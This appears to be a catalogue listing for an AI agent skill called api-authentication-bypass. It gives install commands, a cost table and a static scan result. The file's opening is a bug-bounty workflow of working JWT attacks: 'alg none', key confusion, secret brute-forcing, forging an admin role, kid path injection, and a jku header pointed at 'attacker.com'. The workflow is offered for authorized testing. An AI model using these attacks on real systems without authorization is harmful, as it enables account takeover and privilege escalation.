Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/api-authentication-bypassWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/api-authentication-bypass)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/api-authentication-bypass"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/api-authentication-bypass/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/api-authentication-bypass"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/api-authentication-bypass.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00072 | $0.02506 |
| Opus 5.5 | $0.00029 | $0.01002 |
| Sonnet 5.5 | $0.00014 | $0.00501 |
| Haiku 4.5 | $0.00007 | $0.00251 |
Grade A, and why
api-authentication-bypass scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -v https://api.target.com/v1/me 2>&1 | grep -i "auth\|cookie\|token\|key" Copies of this mod
1 near-identical copy found in the catalogue:
- api-authentication-bypass — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 253 lines — stays where its author put it; the contents beside it link to each section on GitHub.
API Authentication Bypass
When to Use
- When testing APIs for authentication weaknesses
- When JWT tokens are used for session management
- When OAuth2/OpenID Connect flows are implemented
- When API keys are used for authentication/authorization
- When testing for broken authentication patterns
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identify Authentication Mechanism
# Determine what auth mechanism the API uses:
# 1. JWT tokens (Authorization: Bearer eyJ...)
# 2. API keys (X-API-Key: xxx, ?api_key=xxx)
# 3. OAuth2 tokens
# 4. Session cookies
# 5. Basic auth (Authorization: Basic base64)
# 6. HMAC signatures
# Inspect headers and responses
curl -v https://api.target.com/v1/me 2>&1 | grep -i "auth\|cookie\|token\|key"
Phase 2: JWT Token Attacks
# Decode JWT without verification
echo "eyJ0eXAi..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# jwt_tool — comprehensive JWT testing
pip install jwt_tool
# Attack 1: Algorithm confusion (alg: none)
python3 jwt_tool.py <TOKEN> -X a
# Strips signature, sets algorithm to "none"
# Attack 2: HMAC/RSA confusion (CVE-2016-10555)
# If server uses RS256, try HS256 with the public key as secret
python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
# Attack 3: Brute-force weak secret
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Attack 4: JWK header injection
python3 jwt_tool.py <TOKEN> -X i
# Attack 5: Modify claims
python3 jwt_tool.py <TOKEN> -T
# Change "role": "user" → "role": "admin"
# Change "sub": "1337" → "sub": "1" (admin user)
# Change "exp" to far future
# Attack 6: kid parameter injection
# If kid points to a file path:
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Signs with empty string (content of /dev/null)
# Attack 7: jku/x5u header manipulation
# Point to attacker-controlled JWKS endpoint
python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/.well-known/jwks.json"
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 253 lines · 72 tokens per session scan A 2cf7dd4cec6d
api-authentication-bypass is a skill published in the GitHub repository ShulkwiSEC/bb-huge (24 stars, last pushed 3mo ago), licensed MIT. It adds 72 tokens to every session and 2,506 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
api-authentication-bypass
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testing-api-authentication-weaknesses
Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and…
performing-jwt-none-algorithm-attack
Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.
js-secrets-extraction
Analyze JS bundles and source maps for hardcoded secrets, API keys, JWTs, and internal endpoints.
testing-for-json-web-token-vulnerabilities
Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.